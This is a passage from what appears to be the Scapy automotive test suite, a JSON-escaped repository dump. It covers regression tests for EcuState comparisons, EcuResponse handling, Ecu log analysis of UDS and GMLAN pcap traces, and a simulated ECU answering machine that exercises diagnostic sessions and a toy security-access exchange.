EcuState(ses=1)\n\nassert s1 != s2\nassert s2 not in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(4), security=[None, 5])\ns2 = EcuState(ses=1)\n\nassert s1 != s2\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(4), security=[None, 5])\ns2 = EcuState(ses=range(2))\n\nassert s1 != s2\nassert s2 < s1\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(4), security=[None, 5])\ns2 = EcuState(ses=range(2), security=5)\n\nassert s1 != s2\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(4), security=[None, 5])\ns2 = EcuState(ses=range(5))\n\nassert s1 != s2\nassert s2 not in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(4), security=[None, range(5)])\ns2 = EcuState(ses=3)\n\nprint(s1._expand())\nprint(s2._expand())\n\nassert s1 != s2\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(4), security=[None, range(5), [5, 7, range(4), [range(10), 10]]])\ns2 = EcuState(ses=3, security=10)\n\nprint(s1._expand())\nprint(s2._expand())\n\nassert s1 != s2\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(4), security=[None, range(5), [5, 7, range(4), [range(10), \"B\"]]])\ns2 = EcuState(ses=3, security=\"B\")\n\nprint(s1._expand())\nprint(s2._expand())\n\nassert s1 != s2\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(4), security=[None, range(5), [5, 7, range(4), [range(10), \"B\"]]])\ns2 = EcuState(ses=3, security=\"C\")\n\nprint(s1._expand())\nprint(s2._expand())\n\nassert s1 != s2\nassert s2 not in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(3), security=5)\ns2 = EcuState(ses=1, security=5)\n\nassert s1 != s2\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=range(3), security=(x for x in range(1, 10, 2)))\ns2 = EcuState(ses=1, security=5)\n\nassert s1 != s2\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=[1,2,3])\ns2 = EcuState(ses=[1,2,3])\n\nassert s1 in s2\nassert s2 in s1\nassert s1 == s2\n\ns1 = EcuState(ses=1)\ns2 = EcuState(ses=1)\n\nassert s1 in s2\nassert s2 in s1\nassert s1 == s2\n\ns1 = EcuState(ses=range(3), security=range(5))\nfor ses, sec in itertools.product(range(3), range(5)):\n    s2 = EcuState(ses=ses, security=sec)\n    assert s1 != s2\n    assert s2 in s1\n    assert s1 not in s2\n\n\ns1 = EcuState(ses=[0, 1, 2], security=[43, 44])\nfor ses, sec in itertools.product(range(3), range(43, 45)):\n    s2 = EcuState(ses=ses, security=sec)\n    assert s1 != s2\n    assert s2 in s1\n    assert s1 not in s2\n\ns1 = EcuState(ses=[0, 1, 2], security=[\"a\", \"b\"])\nfor ses, sec in itertools.product(range(3), (x for x in \"ab\")):\n    s2 = EcuState(ses=ses, security=sec)\n    assert s1 != s2\n    assert s2 in s1\n    try:\n        assert s1 not in s2\n    except TypeError:\n        assert True\n\ns1 = [EcuState(ses=1), EcuState(ses=2), EcuState(ses=3)]\ns2 = EcuState(ses=3)\n\nassert s2 in s1\nassert s1 not in s2\n\n\ns1 = EcuState(ses=1, sa=\"SEC\")\ns2 = EcuState(ses=1, sa=\"SOC\")\n\nassert s1 not in s2\nassert s2 not in s1\nassert s1 != s2\n\ns1 = EcuState(ses=1, sa=\"SEC\")\ns2 = EcuState(ses=1, sa=\"SEC\")\n\nassert s1 in s2\nassert s2 in s1\nassert s1 == s2\n\n\ns1 = EcuState(ses=1, sa=\"SEC\")\ns2 = EcuState(ses=1, sa=[\"SEC\", \"SOL\"])\n\n\nassert s1 in s2\nassert s2 not in s1\nassert s1 != s2\n\n\ns1 = EcuState(ses=1, sa=b\"SEC\")\ns2 = EcuState(ses=1, sa=[b\"SEC\", \"SOL\"])\n\nassert s1 in s2\nassert s2 not in s1\nassert s1 != s2\n\n\n+ EcuState modification tests\n\n= Basic definitions for tests\n\nclass myPack1(Packet):\n    fields_desc = [\n        IntField(\"fakefield\", 1)\n    ]\n\nclass myPack2(Packet):\n    fields_desc = [\n        IntField(\"statefield\", 1)\n    ]\n\n@EcuState.extend_pkt_with_modifier(myPack2)\ndef modify_ecu_state(self, req, ecustate):\n    # type: (Packet, Packet, EcuState) -> None\n    ecustate.state = self.statefield\n\npkt = myPack1()/myPack2()\nst = EcuState()\nexception = False\n\ntry:\n    assert st.state == 1\nexcept AttributeError:\n    exception = True\n\nassert exception == True\nassert EcuState.is_modifier_pkt(pkt)\nassert not EcuState.is_modifier_pkt(myPack1())\n\nmod = EcuState.get_modified_ecu_state(pkt, Raw(), st)\nassert mod != st\nassert mod.state ==1\n\npkt2 = myPack1()/myPack1()/myPack1()/myPack2(statefield=5)\nmod2 = EcuState.get_modified_ecu_state(pkt2, Raw(), mod)\n\nassert mod != mod2\nassert mod < mod2\n\npkt2 = myPack1()/myPack1()/myPack1()/myPack2(statefield=4)/myPack2(statefield=5)\nmod2 = EcuState.get_modified_ecu_state(pkt2, Raw(), mod)\nmod.state = 5\nassert mod != mod2\nassert mod > mod2\n\n+ EcuResponse tests\n\n= Basic checks\n\nresp = EcuResponse(EcuState(session=1), UDS()/UDS_DSCPR(b\"\\x03\"))\n\nassert not resp.supports_state(EcuState())\nassert not resp.supports_state(EcuState(session=2))\nassert resp.supports_state(EcuState(session=1))\nassert resp.answers(UDS()/UDS_DSC(b\"\\x03\"))\n\n= Command checks\n\nresp = EcuResponse(EcuState(session=1), UDS()/UDS_DSCPR(b\"\\x03\"))\ncmd = resp.command()\n\nprint(cmd)\nresp1 = eval(cmd)\nassert resp1 == resp\n\n= Command checks 2\n\np1 = UDS(bytes(UDS()/UDS_NR(b\"\\x10\\x00\")))\np2 = UDS(bytes(UDS()/UDS_DSCPR(b\"\\x03\")))\n\nresp = EcuResponse([EcuState(session=1), EcuState(session=3)], [p1, p2])\ncmd = resp.command()\n\nprint(cmd)\nresp1 = eval(cmd)\nassert any(resp1.supports_state(s) for s in resp.states)\nassert any(resp.supports_state(s) for s in resp1.states)\nassert len(resp.responses) == len(resp1.responses)\nassert all(bytes(x) == bytes(y) for x, y in zip(resp.responses, resp1.responses))\nassert resp1 == resp\n\n= Compare check\n\np1 = UDS(bytes(UDS()/UDS_NR(b\"\\x10\\x00\")))\np2 = UDS(bytes(UDS()/UDS_DSCPR(b\"\\x03\")))\n\nresp = EcuResponse([EcuState(session=1), EcuState(session=3)], [p1, p2])\n\nresp1 = EcuResponse([EcuState(session=1)], [p1, p2])\n\nresp2 = EcuResponse([EcuState(session=2)], [p1, p2])\nresp3 = EcuResponse([EcuState(session=1)], [p2])\n\n\nassert resp == resp1\nassert resp != resp2\nassert resp != resp3\n\n= Key response check\n\nreq = UDS()/UDS_DSC(b\"\\x03\")\np1 = UDS(bytes(UDS()/UDS_NR(b\"\\x10\\x00\")))\np2 = UDS(bytes(UDS()/UDS_DSCPR(b\"\\x03\")))\n\nresp = EcuResponse([EcuState(session=1), EcuState(session=3)], [p1, p2])\n\nassert resp.answers(req)\nassert resp.key_response.answers(req)\n\n\n\n+ Ecu Simple operations\n\n= Log all commands applied to an Ecu\n\nmsgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3),\n        UDS(service=16) / UDS_DSC(diagnosticSessionType=4),\n        UDS(service=16) / UDS_DSC(diagnosticSessionType=5),\n        UDS(service=16) / UDS_DSC(diagnosticSessionType=6),\n        UDS(service=16) / UDS_DSC(diagnosticSessionType=2)]\n\necu = Ecu(verbose=False, store_supported_responses=False)\necu.update(PacketList(msgs))\nassert len(ecu.log[\"DiagnosticSessionControl\"]) == 5\ntimestamp, value = ecu.log[\"DiagnosticSessionControl\"][0]\nassert timestamp > 0\nassert value == \"extendedDiagnosticSession\"\nassert ecu.log[\"DiagnosticSessionControl\"][-1][1] == \"programmingSession\"\n\n\n= Trace all commands applied to an Ecu\n\nmsgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3),\n        UDS(service=80) / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b'\\\\x002\\\\x01\\\\xf4')]\n\necu = Ecu(verbose=True, logging=False, store_supported_responses=False)\necu.update(PacketList(msgs))\nassert ecu.state.session == 3\n\n\n= Generate supported responses of an Ecu\n\nmsgs = [UDS(service=16) / UDS_DSC(diagnosticSessionType=3),\n        UDS(service=80) / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b'\\\\x002\\\\x01\\\\xf4'),\n        UDS(service=16) / UDS_DSC(diagnosticSessionType=4)]\n\necu = Ecu(verbose=False, logging=False, store_supported_responses=True)\necu.update(PacketList(msgs))\nsupported_responses = ecu.supported_responses\nunanswered_packets = ecu.unanswered_packets\nassert ecu.state.session == 3\nassert len(supported_responses) == 1\nassert len(unanswered_packets) == 1\n\nresponse = supported_responses[0]\nprint(response.command())\nassert response.supports_state(EcuState())\nassert response.key_response.service == 80\nassert unanswered_packets[0].diagnosticSessionType == 4\n\n\n+ Ecu Advanced checks\n\n= Analyze multiple UDS messages\n\nudsmsgs = sniff(offline=scapy_path(\"test/pcaps/ecu_trace.pcap.gz\"),\n                session=ISOTPSession(use_ext_address=False, basecls=UDS),\n                count=50, timeout=3)\n\nassert len(udsmsgs) == 50\n\necu = Ecu()\necu.update(udsmsgs)\nresponse = ecu.supported_responses[0]\nassert response.supports_state(EcuState())\nassert response.key_response.service == 80\nassert response.key_response.diagnosticSessionType == 3\nresponse = ecu.supported_responses[1]\nassert response.supports_state(EcuState(session=3))\nassert response.key_response.service == 80\nassert response.key_response.diagnosticSessionType == 2\nresponse = ecu.supported_responses[4]\nprint(response)\nstate = EcuState(session=2, security_level=18)\nprint(state)\nassert response.supports_state(state)\nassert response.key_response.service == 110\nassert response.key_response.dataIdentifier == 61786\nassert len(ecu.log[\"TransferData\"]) == 2\n\n+ EcuSession tests\n\n= Analyze on the fly with EcuSession\n\nsession = EcuSession()\n\nwith PcapReader(scapy_path(\"test/pcaps/ecu_trace.pcap.gz\")) as sock:\n     udsmsgs = sniff(session=ISOTPSession(supersession=session, use_ext_address=False, basecls=UDS), count=50, opened_socket=sock, timeout=3)\n\nassert len(udsmsgs) == 50\n\necu = session.ecu\nresponse = ecu.supported_responses[0]\nassert response.supports_state(EcuState())\nassert response.key_response.service == 80\nassert response.key_response.diagnosticSessionType == 3\nresponse = ecu.supported_responses[1]\nassert response.supports_state(EcuState(session=3))\nassert response.key_response.service == 80\nassert response.key_response.diagnosticSessionType == 2\nresponse = ecu.supported_responses[4]\nprint(response)\nstate = EcuState(session=2, security_level=18)\nprint(state)\nassert response.supports_state(state)\nassert response.key_response.service == 110\nassert response.key_response.dataIdentifier == 61786\nassert len(ecu.log[\"TransferData\"]) == 2\n\n\n= Analyze on the fly with EcuSession GMLAN1\n\nsession = EcuSession()\n\nconf.contribs['CAN']['swap-bytes'] = True\n\nwith PcapReader(scapy_path(\"test/pcaps/gmlan_trace.pcap.gz\")) as sock:\n    gmlanmsgs = sniff(session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=2, opened_socket=sock, timeout=3)\n    ecu = session.ecu\n    print(\"Check 1 after change to diagnostic mode\")\n    assert len(ecu.supported_responses) == 1\n    assert ecu.state == EcuState(session=3)\n    gmlanmsgs = sniff(session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=6, opened_socket=sock)\n    ecu = session.ecu\n    print(\"Check 2 after some more messages were read1\")\n    assert len(ecu.supported_responses) == 3\n    print(\"Check 2 after some more messages were read2\")\n    assert ecu.state.session == 3\n    print(\"assert 1\")\n    assert ecu.state.communication_control == 1\n    gmlanmsgs = sniff(session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=2, opened_socket=sock)\n    ecu = session.ecu\n    print(\"Check 3 after change to programming mode (bootloader)\")\n    assert len(ecu.supported_responses) == 4\n    assert ecu.state.session == 2\n    assert ecu.state.communication_control == 1\n    gmlanmsgs = sniff(session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN), count=6, opened_socket=sock)\n    ecu = session.ecu\n    print(\"Check 4 after gaining security access\")\n    assert len(ecu.supported_responses) == 6\n    assert ecu.state.session == 2\n    assert ecu.state.security_level == 2\n    assert ecu.state.communication_control == 1\n\n= Analyze on the fly with EcuSession GMLAN logging test\n\nsession = EcuSession(verbose=False, store_supported_responses=False)\n\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\nconf.contribs['CAN']['swap-bytes'] = True\n\nconf.debug_dissector = True\ngmlanmsgs = sniff(offline=scapy_path(\"test/pcaps/gmlan_trace.pcap.gz\"),\n                  session=ISOTPSession(supersession=session, rx_id=[0x241, 0x641, 0x101], basecls=GMLAN),\n                  count=200, timeout=6)\n\necu = session.ecu\nassert len(ecu.supported_responses) == 0\n\nassert len([m for m in gmlanmsgs if m.sprintf(\"%GMLAN.service%\") == \"TransferData\"]) == len(ecu.log[\"TransferData\"])\nassert len([m for m in gmlanmsgs if m.sprintf(\"%GMLAN.service%\") == \"RequestDownload\"]) == len(ecu.log[\"RequestDownload\"])\nassert len([m for m in gmlanmsgs if m.sprintf(\"%GMLAN.service%\") == \"ReadDataByIdentifier\"]) == len(ecu.log[\"ReadDataByIdentifier\"])\n\nassert len(ecu.log[\"SecurityAccess\"]) == 2\nassert len(ecu.log[\"SecurityAccessPositiveResponse\"]) == 2\n\nassert ecu.log[\"TransferData\"][-1][1][0] == \"downloadAndExecuteOrExecute\"\n"
  },
  {
    "path": "test/contrib/automotive/ecu_am.uts",
    "content": "% Regression tests for EcuAnsweringMachine\n\n+ Configuration\n~ conf\n\n= Imports\n\nfrom test.testsocket import TestSocket, cleanup_testsockets\n\n############\n############\n+ Load general modules\n\n= Load contribution layer\n\nload_contrib(\"automotive.uds\", globals_dict=globals())\nload_contrib(\"automotive.ecu\", globals_dict=globals())\nload_contrib(\"automotive.uds_ecu_states\", globals_dict=globals())\n\necu = TestSocket(UDS)\ntester = TestSocket(UDS)\necu.pair(tester)\n\n+ Simulator tests\n\n= Simple check with RDBI and Negative Response\n\nexample_responses = \\\n    [EcuResponse([EcuState(session=1)], responses=UDS() / UDS_RDBIPR(dataIdentifier=0x1234) / Raw(b\"deadbeef\"))]\n\nsuccess = False\nanswering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS, verbose=False)\nsim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff})\nsim.start()\ntry:\n    resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[0x123]), timeout=1, verbose=False)\n    assert resp.negativeResponseCode == 0x10\n    assert resp.requestServiceId == 34\n    resp = tester.sr1(UDS(service=0x22), timeout=1, verbose=False)\n    assert resp.negativeResponseCode == 0x10\n    assert resp.requestServiceId == 34\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[0x1234]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 0x1234\n    assert resp.load == b\"deadbeef\"\n    success = True\nexcept Exception as ex:\n    print(ex)\nfinally:\n    tester.send(UDS(service=0xff))\n    sim.join(timeout=10)\n\nassert success\n\n= Simple check with different Sessions\n\nexample_responses = \\\n    [EcuResponse(EcuState(session=2),         responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b\"deadbeef1\")),\n     EcuResponse(EcuState(session=[3, 4]),    responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b\"deadbeef2\")),\n     EcuResponse(EcuState(session=[5, 6, 7]), responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b\"deadbeef3\")),\n     EcuResponse(EcuState(session=[8, 9]),    responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b\"deadbeef4\"))]\n\nsuccess = False\n\nanswering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS)\nsim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff})\nsim.start()\ntry:\n    resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.negativeResponseCode == 0x10\n    assert resp.requestServiceId == 34\n    answering_machine.state.session = 2\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 2\n    assert resp.load == b\"deadbeef1\"\n    answering_machine.state.session = 4\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 3\n    assert resp.load == b\"deadbeef2\"\n    answering_machine.state.session = 6\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 5\n    assert resp.load == b\"deadbeef3\"\n    answering_machine.state.session = 9\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 9\n    assert resp.load == b\"deadbeef4\"\n    success = True\nexcept Exception as ex:\n    print(ex)\nfinally:\n    tester.send(UDS(service=0xff))\n    sim.join(timeout=10)\n\nassert success\n\n= Simple check with different Sessions and diagnosticSessionControl\n\nexample_responses = \\\n    [EcuResponse(EcuState(session=2),            responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b\"deadbeef1\")),\n     EcuResponse(EcuState(session=range(3,5)),   responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b\"deadbeef2\")),\n     EcuResponse(EcuState(session=[5,6,7]),      responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b\"deadbeef3\")),\n     EcuResponse(EcuState(session=9),            responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b\"deadbeef4\")),\n     EcuResponse([EcuState(), EcuState(session=range(0,8))],   responses=UDS() / UDS_DSCPR(diagnosticSessionType=1, sessionParameterRecord=b\"dead\")),\n     EcuResponse([EcuState(), EcuState(session=range(0,8))],   responses=UDS() / UDS_DSCPR(diagnosticSessionType=2, sessionParameterRecord=b\"dead\")),\n     EcuResponse([EcuState(), EcuState(session=range(0,8))],   responses=UDS() / UDS_DSCPR(diagnosticSessionType=3, sessionParameterRecord=b\"dead\")),\n     EcuResponse([EcuState(), EcuState(session=range(0,8))],   responses=UDS() / UDS_DSCPR(diagnosticSessionType=4, sessionParameterRecord=b\"dead\")),\n     EcuResponse([EcuState(), EcuState(session=range(0,8))],   responses=UDS() / UDS_DSCPR(diagnosticSessionType=5, sessionParameterRecord=b\"dead\")),\n     EcuResponse([EcuState(), EcuState(session=range(0,8))],   responses=UDS() / UDS_DSCPR(diagnosticSessionType=6, sessionParameterRecord=b\"dead\")),\n     EcuResponse([EcuState(), EcuState(session=range(0,8))],   responses=UDS() / UDS_DSCPR(diagnosticSessionType=7, sessionParameterRecord=b\"dead\")),\n     EcuResponse([EcuState(), EcuState(session=range(0,8))],   responses=UDS() / UDS_DSCPR(diagnosticSessionType=8, sessionParameterRecord=b\"dead\")),\n     EcuResponse([EcuState(), EcuState(session=range(8,10))],  responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b\"dead1\")),\n     EcuResponse([EcuState(), EcuState(session=range(8,10))],  responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b\"dead2\")),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))]\n\nsuccess = False\n\nanswering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS)\nsim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff})\nsim.start()\ntry:\n    resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.negativeResponseCode == 0x10\n    assert resp.requestServiceId == 34\n    resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=2), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 2\n    assert resp.sessionParameterRecord == b\"dead\"\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 2\n    assert resp.load == b\"deadbeef1\"\n    resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=4), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 4\n    assert resp.sessionParameterRecord == b\"dead\"\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 3\n    assert resp.load == b\"deadbeef2\"\n    resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=6), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 6\n    assert resp.sessionParameterRecord == b\"dead\"\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 5\n    assert resp.load == b\"deadbeef3\"\n    resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=8), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 8\n    assert resp.sessionParameterRecord == b\"dead\"\n    resp = tester.sr1(UDS() / UDS_DSC(diagnosticSessionType=9), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 9\n    assert resp.sessionParameterRecord == b\"dead1\"\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 9\n    assert resp.load == b\"deadbeef4\"\n    success = True\nexcept Exception as ex:\n    print(ex)\nfinally:\n    tester.send(UDS(service=0xff))\n    sim.join(timeout=10)\n\nassert success\n\n= Simple check with different Sessions and diagnosticSessionControl and answers hook\n\ndef custom_answers(resp, req):\n    if req.service + 0x40 != resp.service:\n        return False\n    if hasattr(req, \"diagnosticSessionType\"):\n        if 0 < req.diagnosticSessionType <= 8:\n            resp.diagnosticSessionType = req.diagnosticSessionType\n            return resp.answers(req)\n    return False\n\nexample_responses = \\\n    [EcuResponse(EcuState(session=2),            responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b\"deadbeef1\")),\n     EcuResponse(EcuState(session=range(3,5)),   responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b\"deadbeef2\")),\n     EcuResponse(EcuState(session=[5,6,7]),      responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b\"deadbeef3\")),\n     EcuResponse(EcuState(session=[9, 10]),      responses=UDS() / UDS_RDBIPR(dataIdentifier=9) / Raw(b\"deadbeef4\")),\n     EcuResponse(EcuState(session=range(0,8)),   responses=UDS() / UDS_DSCPR(diagnosticSessionType=1, sessionParameterRecord=b\"dead\"), answers=custom_answers),\n     EcuResponse(EcuState(session=range(8,10)),  responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b\"dead1\")),\n     EcuResponse(EcuState(session=range(8,10)),  responses=UDS() / UDS_DSCPR(diagnosticSessionType=9, sessionParameterRecord=b\"dead2\")),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))]\n\nsuccess = False\n\nanswering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS)\nsim = threading.Thread(target=answering_machine, kwargs={'timeout': 60, 'stop_filter': lambda p: p.service==0xff})\nsim.start()\ntry:\n    resp = tester.sr1(UDS()/UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.negativeResponseCode == 0x10\n    assert resp.requestServiceId == 34\n    resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=2), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 2\n    assert resp.sessionParameterRecord == b\"dead\"\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 2\n    assert resp.load == b\"deadbeef1\"\n    resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=4), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 4\n    assert resp.sessionParameterRecord == b\"dead\"\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 3\n    assert resp.load == b\"deadbeef2\"\n    resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=6), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 6\n    assert resp.sessionParameterRecord == b\"dead\"\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 5\n    assert resp.load == b\"deadbeef3\"\n    resp = tester.sr1(UDS()/UDS_DSC(diagnosticSessionType=8), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 8\n    assert resp.sessionParameterRecord == b\"dead\"\n    resp = tester.sr1(UDS() / UDS_DSC(diagnosticSessionType=9), timeout=1, verbose=False)\n    assert resp.service == 0x50\n    assert resp.diagnosticSessionType == 9\n    assert resp.sessionParameterRecord == b\"dead1\"\n    resp = tester.sr1(UDS() / UDS_RDBI(identifiers=[2, 3, 5, 9]), timeout=1, verbose=False)\n    assert resp.service == 0x62\n    assert resp.dataIdentifier == 9\n    assert resp.load == b\"deadbeef4\"\n    success = True\nexcept Exception as ex:\n    print(ex)\nfinally:\n    tester.send(UDS(service=0xff))\n    sim.join(timeout=10)\n\nassert success\n\n= Simple check with security access and answers hook\n\nsecurity_seed = b\"abcd\"\n\ndef custom_answers(resp, req):\n    global security_seed\n    if req.service + 0x40 != resp.service or req.service != 0x27:\n        return False\n    if req.securityAccessType == 1:\n        resp.securitySeed = security_seed\n        return resp.answers(req)\n    elif req.securityAccessType == 2:\n        return resp.answers(req) and req.securityKey == security_seed + security_seed\n    return False\n\nexample_responses = \\\n    [EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b\"1234\"), answers=custom_answers),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))]\n\nsuccess = False\n\nanswering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS)\nsim = threading.Thread(target=answering_machine, kwargs={'timeout': 10, 'stop_filter': lambda p: p.service==0xff})\nsim.start()\ntry:\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False)\n    assert resp.service == 0x67\n    assert resp.securitySeed == b\"abcd\"\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed), timeout=1, verbose=False)\n    assert resp.service == 0x7f\n    assert resp.negativeResponseCode == 0x35\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), timeout=1, verbose=False)\n    assert resp.service == 0x67\n    assert resp.securitySeed == b\"abcd\"\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=2, securityKey=resp.securitySeed+resp.securitySeed), timeout=1, verbose=False)\n    assert resp.service == 0x67\n    success = True\nexcept Exception as ex:\n    print(ex)\nfinally:\n    tester.send(UDS(service=0xff))\n    sim.join(timeout=10)\n\nassert success\n\n= Simple check with security access and answers hook and request-correctly-received message\n\nsecurity_seed = b\"abcd\"\n\ndef custom_answers(resp, req):\n    global security_seed\n    if req.service + 0x40 != resp.service or req.service != 0x27:\n        return False\n    if req.securityAccessType == 1:\n        resp.securitySeed = security_seed\n        return resp.answers(req)\n    elif req.securityAccessType == 2:\n        return resp.answers(req) and req.securityKey == security_seed + security_seed\n    return False\n\nexample_responses = \\\n    [EcuResponse(EcuState(session=range(0,255)), responses=[UDS()/UDS_NR(negativeResponseCode=0x78, requestServiceId=0x27), UDS() / UDS_SAPR(securityAccessType=1, securitySeed=b\"1234\")], answers=custom_answers),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_SAPR(securityAccessType=2), answers=custom_answers),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x35, requestServiceId=0x27)),\n     EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))]\n\nsuccess = False\n\nanswering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=UDS)\nsim = threading.Thread(target=answering_machine, kwargs={'timeout': 10, 'stop_filter': lambda p: p.service==0xff})\nsim.start()\ntry:\n    resp = tester.sr1(UDS() / UDS_SA(securityAccessType=1), 